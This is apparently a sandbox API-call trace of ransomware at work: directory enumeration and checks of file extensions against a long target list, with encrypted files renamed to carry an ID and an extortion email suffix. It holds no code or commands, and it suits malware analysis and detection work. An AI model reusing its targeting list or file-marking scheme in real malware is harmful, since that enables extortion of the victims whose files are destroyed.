	[0070.430] lstrlenW (lpString=".pbm") returned 4
	[0070.430] lstrcmpiW (lpString1=".pbm", lpString2="].Z9") returned -1
	[0070.430] lstrlenW (lpString=".pct") returned 4
	[0070.430] lstrcmpiW (lpString1=".pct", lpString2="].Z9") returned -1
	[0070.430] lstrlenW (lpString=".pcx") returned 4
	[0070.430] lstrcmpiW (lpString1=".pcx", lpString2="].Z9") returned -1
	[0070.430] lstrlenW (lpString=".pdd") returned 4
	[0070.430] lstrcmpiW (lpString1=".pdd", lpString2="].Z9") returned -1
	[0070.430] lstrlenW (lpString=".pdf") returned 4
	[0070.430] lstrcmpiW (lpString1=".pdf", lpString2="].Z9") returned -1
	[0070.430] lstrlenW (lpString=".pdp") returned 4
	[0070.430] lstrcmpiW (lpString1=".pdp", lpString2="].Z9") returned -1
	[0070.430] lstrlenW (lpString=".pef") returned 4
	[0070.430] lstrcmpiW (lpString1=".pef", lpString2="].Z9") returned -1
	[0070.430] lstrlenW (lpString=".pem") returned 4
	[0070.430] lstrcmpiW (lpString1=".pem", lpString2="].Z9") returned -1
	[0070.430] lstrlenW (lpString=".pff") returned 4
	[0070.430] lstrcmpiW (lpString1=".pff", lpString2="].Z9") returned -1
	[0070.430] lstrlenW (lpString=".pfm") returned 4
	[0070.430] lstrcmpiW (lpString1=".pfm", lpString2="].Z9") returned -1
	[0070.430] lstrlenW (lpString=".pfx") returned 4
	[0070.430] lstrcmpiW (lpString1=".pfx", lpString2="].Z9") returned -1
	[0070.430] lstrlenW (lpString=".pgm") returned 4
	[0070.430] lstrcmpiW (lpString1=".pgm", lpString2="].Z9") returned -1
	[0070.430] lstrlenW (lpString=".php") returned 4
	[0070.430] lstrcmpiW (lpString1=".php", lpString2="].Z9") returned -1
	[0070.430] lstrlenW (lpString=".php3") returned 5
	[0070.430] lstrcmpiW (lpString1=".php3", lpString2="m].Z9") returned -1
	[0070.430] lstrlenW (lpString=".php4") returned 5
	[0070.430] lstrcmpiW (lpString1=".php4", lpString2="m].Z9") returned -1
	[0070.430] lstrlenW (lpString=".php5") returned 5
	[0070.444] lstrcmpiW (lpString1=".php5", lpString2="m].Z9") returned -1
	[0070.444] lstrlenW (lpString=".phtml") returned 6
	[0070.444] lstrcmpiW (lpString1=".phtml", lpString2="om].Z9") returned -1
	[0070.444] lstrlenW (lpString=".pict") returned 5
	[0070.444] lstrcmpiW (lpString1=".pict", lpString2="m].Z9") returned -1
	[0070.444] lstrlenW (lpString=".pl") returned 3
	[0070.444] lstrcmpiW (lpString1=".pl", lpString2=".Z9") returned -1
	[0070.444] lstrlenW (lpString=".pls") returned 4
	[0070.444] lstrcmpiW (lpString1=".pls", lpString2="].Z9") returned -1
	[0070.444] lstrlenW (lpString=".pm") returned 3
	[0070.445] lstrcmpiW (lpString1=".pm", lpString2=".Z9") returned -1
	[0070.445] lstrlenW (lpString=".png") returned 4
	[0070.445] lstrcmpiW (lpString1=".png", lpString2="].Z9") returned -1
	[0070.445] lstrlenW (lpString=".pnm") returned 4
	[0070.445] lstrcmpiW (lpString1=".pnm", lpString2="].Z9") returned -1
	[0070.445] lstrlenW (lpString=".pot") returned 4
	[0070.445] lstrcmpiW (lpString1=".pot", lpString2="].Z9") returned -1
	[0070.445] lstrlenW (lpString=".potm") returned 5
	[0070.445] lstrcmpiW (lpString1=".potm", lpString2="m].Z9") returned -1
	[0070.445] lstrlenW (lpString=".potx") returned 5
	[0070.445] lstrcmpiW (lpString1=".potx", lpString2="m].Z9") returned -1
	[0070.445] lstrlenW (lpString=".ppa") returned 4
	[0070.445] lstrcmpiW (lpString1=".ppa", lpString2="].Z9") returned -1
	[0070.445] lstrlenW (lpString=".ppam") returned 5
	[0070.445] lstrcmpiW (lpString1=".ppam", lpString2="m].Z9") returned -1
	[0070.445] lstrlenW (lpString=".ppm") returned 4
	[0070.445] lstrcmpiW (lpString1=".ppm", lpString2="].Z9") returned -1
	[0070.445] lstrlenW (lpString=".pps") returned 4
	[0070.445] lstrcmpiW (lpString1=".pps", lpString2="].Z9") returned -1
	[0070.445] lstrlenW (lpString=".ppsm") returned 5
	[0070.445] lstrcmpiW (lpString1=".ppsm", lpString2="m].Z9") returned -1
	[0070.445] lstrlenW (lpString=".ppt") returned 4
	[0070.445] lstrcmpiW (lpString1=".ppt", lpString2="].Z9") returned -1
	[0070.445] lstrlenW (lpString=".pptm") returned 5
	[0070.445] lstrcmpiW (lpString1=".pptm", lpString2="m].Z9") returned -1
	[0070.445] lstrlenW (lpString=".pptx") returned 5
	[0070.445] lstrcmpiW (lpString1=".pptx", lpString2="m].Z9") returned -1
	[0070.445] lstrlenW (lpString=".prn") returned 4
	[0070.445] lstrcmpiW (lpString1=".prn", lpString2="].Z9") returned -1
	[0070.445] lstrlenW (lpString=".ps") returned 3
	[0070.445] lstrcmpiW (lpString1=".ps", lpString2=".Z9") returned -1
	[0070.445] lstrlenW (lpString=".psb") returned 4
	[0070.445] lstrcmpiW (lpString1=".psb", lpString2="].Z9") returned -1
	[0070.445] lstrlenW (lpString=".psd") returned 4
	[0070.445] lstrcmpiW (lpString1=".psd", lpString2="].Z9") returned -1
	[0070.445] lstrlenW (lpString=".pst") returned 4
	[0070.445] lstrcmpiW (lpString1=".pst", lpString2="].Z9") returned -1
	[0070.446] lstrlenW (lpString=".ptx") returned 4
	[0070.446] lstrcmpiW (lpString1=".ptx", lpString2="].Z9") returned -1
	[0070.446] lstrlenW (lpString=".pub") returned 4
	[0070.446] lstrcmpiW (lpString1=".pub", lpString2="].Z9") returned -1
	[0070.446] lstrlenW (lpString=".pwm") returned 4
	[0070.446] lstrcmpiW (lpString1=".pwm", lpString2="].Z9") returned -1
	[0070.446] lstrlenW (lpString=".pxr") returned 4
	[0070.446] lstrcmpiW (lpString1=".pxr", lpString2="].Z9") returned -1
	[0070.446] lstrlenW (lpString=".py") returned 3
	[0070.446] lstrcmpiW (lpString1=".py", lpString2=".Z9") returned -1
	[0070.446] lstrlenW (lpString=".qt") returned 3
	[0070.446] lstrcmpiW (lpString1=".qt", lpString2=".Z9") returned -1
	[0070.446] lstrlenW (lpString=".r3d") returned 4
	[0070.446] lstrcmpiW (lpString1=".r3d", lpString2="].Z9") returned -1
	[0070.446] lstrlenW (lpString=".raf") returned 4
	[0070.446] lstrcmpiW (lpString1=".raf", lpString2="].Z9") returned -1
	[0070.446] lstrlenW (lpString=".rar") returned 4
	[0070.446] lstrcmpiW (lpString1=".rar", lpString2="].Z9") returned -1
	[0070.446] FindNextFileW (in: hFindFile=0x31212d0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34e4479a, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34e4479a, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34f2590c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0070.446] FindNextFileW (in: hFindFile=0x31212d0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.447] FindNextFileW (in: hFindFile=0x31212d0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0070.447] FindClose (in: hFindFile=0x31212d0 | out: hFindFile=0x31212d0) returned 1
	[0070.447] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.447] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1029", cAlternateFileName="")) returned 1
	[0070.447] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3d50050
	[0070.447] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029") returned 26
	[0070.447] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x34fbe11e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121850
	[0070.447] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x34fbe11e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.447] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34e8cec5, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34e8cec5, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34eff6da, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xf74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0070.447] lstrlenW (lpString="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9") returned 50
	[0070.447] lstrlenW (lpString=".1cd") returned 4
	[0070.447] lstrcmpiW (lpString1=".1cd", lpString2="].Z9") returned -1
	[0070.447] lstrlenW (lpString=".3ds") returned 4
	[0070.447] lstrcmpiW (lpString1=".3ds", lpString2="].Z9") returned -1
	[0070.447] lstrlenW (lpString=".3fr") returned 4
	[0070.447] lstrcmpiW (lpString1=".3fr", lpString2="].Z9") returned -1
	[0070.447] lstrlenW (lpString=".3g2") returned 4
	[0070.447] lstrcmpiW (lpString1=".3g2", lpString2="].Z9") returned -1
	[0070.447] lstrlenW (lpString=".3gp") returned 4
	[0070.447] lstrcmpiW (lpString1=".3gp", lpString2="].Z9") returned -1
	[0070.447] lstrlenW (lpString=".7z") returned 3
	[0070.447] lstrcmpiW (lpString1=".7z", lpString2=".Z9") returned -1
	[0070.448] lstrlenW (lpString=".accda") returned 6
	[0070.448] lstrcmpiW (lpString1=".accda", lpString2="om].Z9") returned -1
	[0070.448] lstrlenW (lpString=".accdb") returned 6
	[0070.448] lstrcmpiW (lpString1=".accdb", lpString2="om].Z9") returned -1
	[0070.448] lstrlenW (lpString=".accdc") returned 6
	[0070.448] lstrcmpiW (lpString1=".accdc", lpString2="om].Z9") returned -1
	[0070.448] lstrlenW (lpString=".accde") returned 6
	[0070.448] lstrcmpiW (lpString1=".accde", lpString2="om].Z9") returned -1
	[0070.448] lstrlenW (lpString=".accdt") returned 6
	[0070.448] lstrcmpiW (lpString1=".accdt", lpString2="om].Z9") returned -1
	[0070.448] lstrlenW (lpString=".accdw") returned 6
	[0070.448] lstrcmpiW (lpString1=".accdw", lpString2="om].Z9") returned -1
	[0070.448] lstrlenW (lpString=".adb") returned 4
	[0070.448] lstrcmpiW (lpString1=".adb", lpString2="].Z9") returned -1
	[0070.448] lstrlenW (lpString=".adp") returned 4
	[0070.448] lstrcmpiW (lpString1=".adp", lpString2="].Z9") returned -1
	[0070.448] lstrlenW (lpString=".ai") returned 3
	[0070.448] lstrcmpiW (lpString1=".ai", lpString2=".Z9") returned -1
	[0070.448] lstrlenW (lpString=".ai3") returned 4
	[0070.448] lstrcmpiW (lpString1=".ai3", lpString2="].Z9") returned -1
	[0070.448] lstrlenW (lpString=".ai4") returned 4
	[0070.448] lstrcmpiW (lpString1=".ai4", lpString2="].Z9") returned -1
	[0070.448] lstrlenW (lpString=".ai5") returned 4
	[0070.448] lstrcmpiW (lpString1=".ai5", lpString2="].Z9") returned -1
	[0070.448] lstrlenW (lpString=".ai6") returned 4
	[0070.448] lstrcmpiW (lpString1=".ai6", lpString2="].Z9") returned -1
	[0070.448] lstrlenW (lpString=".ai7") returned 4
	[0070.448] lstrcmpiW (lpString1=".ai7", lpString2="].Z9") returned -1
	[0070.448] lstrlenW (lpString=".ai8") returned 4
	[0070.448] lstrcmpiW (lpString1=".ai8", lpString2="].Z9") returned -1
	[0070.448] lstrlenW (lpString=".anim") returned 5
	[0070.448] lstrcmpiW (lpString1=".anim", lpString2="m].Z9") returned -1
	[0070.448] lstrlenW (lpString=".arw") returned 4
	[0070.448] lstrcmpiW (lpString1=".arw", lpString2="].Z9") returned -1
	[0070.448] lstrlenW (lpString=".as") returned 3
	[0070.448] lstrcmpiW (lpString1=".as", lpString2=".Z9") returned -1
	[0070.448] lstrlenW (lpString=".asa") returned 4
	[0070.449] lstrcmpiW (lpString1=".asa", lpString2="].Z9") returned -1
	[0070.449] lstrlenW (lpString=".asc") returned 4
	[0070.449] lstrcmpiW (lpString1=".asc", lpString2="].Z9") returned -1
	[0070.449] lstrlenW (lpString=".ascx") returned 5
	[0070.449] lstrcmpiW (lpString1=".ascx", lpString2="m].Z9") returned -1
	[0070.449] lstrlenW (lpString=".asm") returned 4
	[0070.449] lstrcmpiW (lpString1=".asm", lpString2="].Z9") returned -1
	[0070.449] lstrlenW (lpString=".asmx") returned 5
	[0070.449] lstrcmpiW (lpString1=".asmx", lpString2="m].Z9") returned -1
	[0070.449] lstrlenW (lpString=".asp") returned 4
	[0070.449] lstrcmpiW (lpString1=".asp", lpString2="].Z9") returned -1
	[0070.449] lstrlenW (lpString=".aspx") returned 5
	[0070.449] lstrcmpiW (lpString1=".aspx", lpString2="m].Z9") returned -1
	[0070.449] lstrlenW (lpString=".asr") returned 4
	[0070.449] lstrcmpiW (lpString1=".asr", lpString2="].Z9") returned -1
	[0070.449] lstrlenW (lpString=".asx") returned 4
	[0070.449] lstrcmpiW (lpString1=".asx", lpString2="].Z9") returned -1
	[0070.449] lstrlenW (lpString=".avi") returned 4
	[0070.449] lstrcmpiW (lpString1=".avi", lpString2="].Z9") returned -1
	[0070.449] lstrlenW (lpString=".avs") returned 4
	[0070.449] lstrcmpiW (lpString1=".avs", lpString2="].Z9") returned -1
	[0070.449] lstrlenW (lpString=".backup") returned 7
	[0070.449] lstrcmpiW (lpString1=".backup", lpString2="com].Z9") returned -1
	[0070.449] lstrlenW (lpString=".bak") returned 4
	[0070.449] lstrcmpiW (lpString1=".bak", lpString2="].Z9") returned -1
	[0070.449] lstrlenW (lpString=".bay") returned 4
	[0070.449] lstrcmpiW (lpString1=".bay", lpString2="].Z9") returned -1
	[0070.449] lstrlenW (lpString=".bd") returned 3
	[0070.449] lstrcmpiW (lpString1=".bd", lpString2=".Z9") returned -1
	[0070.449] lstrlenW (lpString=".bin") returned 4
	[0070.449] lstrcmpiW (lpString1=".bin", lpString2="].Z9") returned -1
	[0070.449] lstrlenW (lpString=".bmp") returned 4
	[0070.449] lstrcmpiW (lpString1=".bmp", lpString2="].Z9") returned -1
	[0070.449] lstrlenW (lpString=".bz2") returned 4
	[0070.449] lstrcmpiW (lpString1=".bz2", lpString2="].Z9") returned -1
	[0070.449] lstrlenW (lpString=".c") returned 2
	[0070.449] lstrcmpiW (lpString1=".c", lpString2="Z9") returned -1
	[0070.449] lstrlenW (lpString=".cdr") returned 4
	[0070.450] lstrcmpiW (lpString1=".cdr", lpString2="].Z9") returned -1
	[0070.450] lstrlenW (lpString=".cer") returned 4
	[0070.450] lstrcmpiW (lpString1=".cer", lpString2="].Z9") returned -1
	[0070.450] lstrlenW (lpString=".cf") returned 3
	[0070.450] lstrcmpiW (lpString1=".cf", lpString2=".Z9") returned -1
	[0070.450] lstrlenW (lpString=".cfc") returned 4
	[0070.450] lstrcmpiW (lpString1=".cfc", lpString2="].Z9") returned -1
	[0070.450] lstrlenW (lpString=".cfm") returned 4
	[0070.450] lstrcmpiW (lpString1=".cfm", lpString2="].Z9") returned -1
	[0070.450] lstrlenW (lpString=".cfml") returned 5
	[0070.450] lstrcmpiW (lpString1=".cfml", lpString2="m].Z9") returned -1
	[0070.450] lstrlenW (lpString=".cfu") returned 4
	[0070.450] lstrcmpiW (lpString1=".cfu", lpString2="].Z9") returned -1
	[0070.450] lstrlenW (lpString=".chm") returned 4
	[0070.450] lstrcmpiW (lpString1=".chm", lpString2="].Z9") returned -1
	[0070.450] lstrlenW (lpString=".cin") returned 4
	[0070.450] lstrcmpiW (lpString1=".cin", lpString2="].Z9") returned -1
	[0070.450] lstrlenW (lpString=".class") returned 6
	[0070.450] lstrcmpiW (lpString1=".class", lpString2="om].Z9") returned -1
	[0070.450] lstrlenW (lpString=".clx") returned 4
	[0070.450] lstrcmpiW (lpString1=".clx", lpString2="].Z9") returned -1
	[0070.450] lstrlenW (lpString=".config") returned 7
	[0070.450] lstrcmpiW (lpString1=".config", lpString2="com].Z9") returned -1
	[0070.450] lstrlenW (lpString=".cpp") returned 4
	[0070.450] lstrcmpiW (lpString1=".cpp", lpString2="].Z9") returned -1
	[0070.450] lstrlenW (lpString=".cr2") returned 4
	[0070.450] lstrcmpiW (lpString1=".cr2", lpString2="].Z9") returned -1
	[0070.450] lstrlenW (lpString=".crt") returned 4
	[0070.450] lstrcmpiW (lpString1=".crt", lpString2="].Z9") returned -1
	[0070.450] lstrlenW (lpString=".crw") returned 4
	[0070.450] lstrcmpiW (lpString1=".crw", lpString2="].Z9") returned -1
	[0070.450] lstrlenW (lpString=".cs") returned 3
	[0070.450] lstrcmpiW (lpString1=".cs", lpString2=".Z9") returned -1
	[0070.450] lstrlenW (lpString=".css") returned 4
	[0070.450] lstrcmpiW (lpString1=".css", lpString2="].Z9") returned -1
	[0070.450] lstrlenW (lpString=".csv") returned 4
	[0070.451] lstrcmpiW (lpString1=".csv", lpString2="].Z9") returned -1
	[0070.451] lstrlenW (lpString=".cub") returned 4
	[0070.451] lstrcmpiW (lpString1=".cub", lpString2="].Z9") returned -1
	[0070.451] lstrlenW (lpString=".dae") returned 4
	[0070.451] lstrcmpiW (lpString1=".dae", lpString2="].Z9") returned -1
	[0070.451] lstrlenW (lpString=".dat") returned 4
	[0070.451] lstrcmpiW (lpString1=".dat", lpString2="].Z9") returned -1
	[0070.451] lstrlenW (lpString=".db") returned 3
	[0070.451] lstrcmpiW (lpString1=".db", lpString2=".Z9") returned -1
	[0070.451] lstrlenW (lpString=".dbf") returned 4
	[0070.451] lstrcmpiW (lpString1=".dbf", lpString2="].Z9") returned -1
	[0070.451] lstrlenW (lpString=".dbx") returned 4
	[0070.451] lstrcmpiW (lpString1=".dbx", lpString2="].Z9") returned -1
	[0070.451] lstrlenW (lpString=".dc3") returned 4
	[0070.451] lstrcmpiW (lpString1=".dc3", lpString2="].Z9") returned -1
	[0070.451] lstrlenW (lpString=".dcm") returned 4
	[0070.451] lstrcmpiW (lpString1=".dcm", lpString2="].Z9") returned -1
	[0070.451] lstrlenW (lpString=".dcr") returned 4
	[0070.451] lstrcmpiW (lpString1=".dcr", lpString2="].Z9") returned -1
	[0070.451] lstrlenW (lpString=".der") returned 4
	[0070.451] lstrcmpiW (lpString1=".der", lpString2="].Z9") returned -1
	[0070.451] lstrlenW (lpString=".dib") returned 4
	[0070.451] lstrcmpiW (lpString1=".dib", lpString2="].Z9") returned -1
	[0070.451] lstrlenW (lpString=".dic") returned 4
	[0070.451] lstrcmpiW (lpString1=".dic", lpString2="].Z9") returned -1
	[0070.451] lstrlenW (lpString=".dif") returned 4
	[0070.451] lstrcmpiW (lpString1=".dif", lpString2="].Z9") returned -1
	[0070.451] lstrlenW (lpString=".divx") returned 5
	[0070.451] lstrcmpiW (lpString1=".divx", lpString2="m].Z9") returned -1
	[0070.451] lstrlenW (lpString=".djvu") returned 5
	[0070.451] lstrcmpiW (lpString1=".djvu", lpString2="m].Z9") returned -1
	[0070.451] lstrlenW (lpString=".dng") returned 4
	[0070.451] lstrcmpiW (lpString1=".dng", lpString2="].Z9") returned -1
	[0070.451] lstrlenW (lpString=".doc") returned 4
	[0070.451] lstrcmpiW (lpString1=".doc", lpString2="].Z9") returned -1
	[0070.451] lstrlenW (lpString=".docm") returned 5
	[0070.451] lstrcmpiW (lpString1=".docm", lpString2="m].Z9") returned -1
	[0070.451] lstrlenW (lpString=".docx") returned 5
	[0070.452] lstrcmpiW (lpString1=".docx", lpString2="m].Z9") returned -1
	[0070.452] lstrlenW (lpString=".dot") returned 4
	[0070.452] lstrcmpiW (lpString1=".dot", lpString2="].Z9") returned -1
	[0070.452] lstrlenW (lpString=".dotm") returned 5
	[0070.452] lstrcmpiW (lpString1=".dotm", lpString2="m].Z9") returned -1
	[0070.452] lstrlenW (lpString=".dotx") returned 5
	[0070.452] lstrcmpiW (lpString1=".dotx", lpString2="m].Z9") returned -1
	[0070.452] lstrlenW (lpString=".dpx") returned 4
	[0070.452] lstrcmpiW (lpString1=".dpx", lpString2="].Z9") returned -1
	[0070.452] lstrlenW (lpString=".dqy") returned 4
	[0070.452] lstrcmpiW (lpString1=".dqy", lpString2="].Z9") returned -1
	[0070.452] lstrlenW (lpString=".dsn") returned 4
	[0070.452] lstrcmpiW (lpString1=".dsn", lpString2="].Z9") returned -1
	[0070.452] lstrlenW (lpString=".dt") returned 3
	[0070.452] lstrcmpiW (lpString1=".dt", lpString2=".Z9") returned -1
	[0070.452] lstrlenW (lpString=".dtd") returned 4
	[0070.452] lstrcmpiW (lpString1=".dtd", lpString2="].Z9") returned -1
	[0070.452] lstrlenW (lpString=".dwg") returned 4
	[0070.452] lstrcmpiW (lpString1=".dwg", lpString2="].Z9") returned -1
	[0070.452] lstrlenW (lpString=".dwt") returned 4
	[0070.452] lstrcmpiW (lpString1=".dwt", lpString2="].Z9") returned -1
	[0070.452] lstrlenW (lpString=".dx") returned 3
	[0070.452] lstrcmpiW (lpString1=".dx", lpString2=".Z9") returned -1
	[0070.452] lstrlenW (lpString=".dxf") returned 4
	[0070.452] lstrcmpiW (lpString1=".dxf", lpString2="].Z9") returned -1
	[0070.452] lstrlenW (lpString=".edml") returned 5
	[0070.464] lstrcmpiW (lpString1=".edml", lpString2="m].Z9") returned -1
	[0070.464] lstrlenW (lpString=".efd") returned 4
	[0070.464] lstrcmpiW (lpString1=".efd", lpString2="].Z9") returned -1
	[0070.464] lstrlenW (lpString=".elf") returned 4
	[0070.464] lstrcmpiW (lpString1=".elf", lpString2="].Z9") returned -1
	[0070.464] lstrlenW (lpString=".emf") returned 4
	[0070.464] lstrcmpiW (lpString1=".emf", lpString2="].Z9") returned -1
	[0070.464] lstrlenW (lpString=".emz") returned 4
	[0070.464] lstrcmpiW (lpString1=".emz", lpString2="].Z9") returned -1
	[0070.464] lstrlenW (lpString=".epf") returned 4
	[0070.464] lstrcmpiW (lpString1=".epf", lpString2="].Z9") returned -1
	[0070.464] lstrlenW (lpString=".eps") returned 4
	[0070.464] lstrcmpiW (lpString1=".eps", lpString2="].Z9") returned -1
	[0070.464] lstrlenW (lpString=".epsf") returned 5
	[0070.464] lstrcmpiW (lpString1=".epsf", lpString2="m].Z9") returned -1
	[0070.464] lstrlenW (lpString=".epsp") returned 5
	[0070.464] lstrcmpiW (lpString1=".epsp", lpString2="m].Z9") returned -1
	[0070.464] lstrlenW (lpString=".erf") returned 4
	[0070.464] lstrcmpiW (lpString1=".erf", lpString2="].Z9") returned -1
	[0070.477] lstrlenW (lpString=".exr") returned 4
	[0070.477] lstrcmpiW (lpString1=".exr", lpString2="].Z9") returned -1
	[0070.477] lstrlenW (lpString=".f4v") returned 4
	[0070.477] lstrcmpiW (lpString1=".f4v", lpString2="].Z9") returned -1
	[0070.477] lstrlenW (lpString=".fido") returned 5
	[0070.477] lstrcmpiW (lpString1=".fido", lpString2="m].Z9") returned -1
	[0070.477] lstrlenW (lpString=".flm") returned 4
	[0070.477] lstrcmpiW (lpString1=".flm", lpString2="].Z9") returned -1
	[0070.477] lstrlenW (lpString=".flv") returned 4
	[0070.477] lstrcmpiW (lpString1=".flv", lpString2="].Z9") returned -1
	[0070.477] lstrlenW (lpString=".frm") returned 4
	[0070.477] lstrcmpiW (lpString1=".frm", lpString2="].Z9") returned -1
	[0070.478] lstrlenW (lpString=".fxg") returned 4
	[0070.478] lstrcmpiW (lpString1=".fxg", lpString2="].Z9") returned -1
	[0070.478] lstrlenW (lpString=".geo") returned 4
	[0070.478] lstrcmpiW (lpString1=".geo", lpString2="].Z9") returned -1
	[0070.478] lstrlenW (lpString=".gif") returned 4
	[0070.478] lstrcmpiW (lpString1=".gif", lpString2="].Z9") returned -1
	[0070.478] lstrlenW (lpString=".grs") returned 4
	[0070.478] lstrcmpiW (lpString1=".grs", lpString2="].Z9") returned -1
	[0070.478] lstrlenW (lpString=".gz") returned 3
	[0070.478] lstrcmpiW (lpString1=".gz", lpString2=".Z9") returned -1
	[0070.478] lstrlenW (lpString=".h") returned 2
	[0070.478] lstrcmpiW (lpString1=".h", lpString2="Z9") returned -1
	[0070.478] lstrlenW (lpString=".hdr") returned 4
	[0070.478] lstrcmpiW (lpString1=".hdr", lpString2="].Z9") returned -1
	[0070.478] lstrlenW (lpString=".hpp") returned 4
	[0070.478] lstrcmpiW (lpString1=".hpp", lpString2="].Z9") returned -1
	[0070.478] lstrlenW (lpString=".hta") returned 4
	[0070.478] lstrcmpiW (lpString1=".hta", lpString2="].Z9") returned -1
	[0070.478] lstrlenW (lpString=".htc") returned 4
	[0070.478] lstrcmpiW (lpString1=".htc", lpString2="].Z9") returned -1
	[0070.478] lstrlenW (lpString=".htm") returned 4
	[0070.478] lstrcmpiW (lpString1=".htm", lpString2="].Z9") returned -1
	[0070.478] lstrlenW (lpString=".html") returned 5
	[0070.478] lstrcmpiW (lpString1=".html", lpString2="m].Z9") returned -1
	[0070.478] lstrlenW (lpString=".icb") returned 4
	[0070.478] lstrcmpiW (lpString1=".icb", lpString2="].Z9") returned -1
	[0070.478] lstrlenW (lpString=".ics") returned 4
	[0070.478] lstrcmpiW (lpString1=".ics", lpString2="].Z9") returned -1
	[0070.479] lstrlenW (lpString=".iff") returned 4
	[0070.479] lstrcmpiW (lpString1=".iff", lpString2="].Z9") returned -1
	[0070.479] lstrlenW (lpString=".inc") returned 4
	[0070.479] lstrcmpiW (lpString1=".inc", lpString2="].Z9") returned -1
	[0070.479] lstrlenW (lpString=".indd") returned 5
	[0070.479] lstrcmpiW (lpString1=".indd", lpString2="m].Z9") returned -1
	[0070.479] lstrlenW (lpString=".ini") returned 4
	[0070.479] lstrcmpiW (lpString1=".ini", lpString2="].Z9") returned -1
	[0070.479] lstrlenW (lpString=".iqy") returned 4
	[0070.479] lstrcmpiW (lpString1=".iqy", lpString2="].Z9") returned -1
	[0070.479] lstrlenW (lpString=".j2c") returned 4
	[0070.479] lstrcmpiW (lpString1=".j2c", lpString2="].Z9") returned -1
	[0070.479] lstrlenW (lpString=".j2k") returned 4
	[0070.479] lstrcmpiW (lpString1=".j2k", lpString2="].Z9") returned -1
	[0070.479] lstrlenW (lpString=".java") returned 5
	[0070.479] lstrcmpiW (lpString1=".java", lpString2="m].Z9") returned -1
	[0070.479] lstrlenW (lpString=".jp2") returned 4
	[0070.479] lstrcmpiW (lpString1=".jp2", lpString2="].Z9") returned -1
	[0070.479] lstrlenW (lpString=".jpc") returned 4
	[0070.479] lstrcmpiW (lpString1=".jpc", lpString2="].Z9") returned -1
	[0070.479] lstrlenW (lpString=".jpe") returned 4
	[0070.479] lstrcmpiW (lpString1=".jpe", lpString2="].Z9") returned -1
	[0070.479] lstrlenW (lpString=".jpeg") returned 5
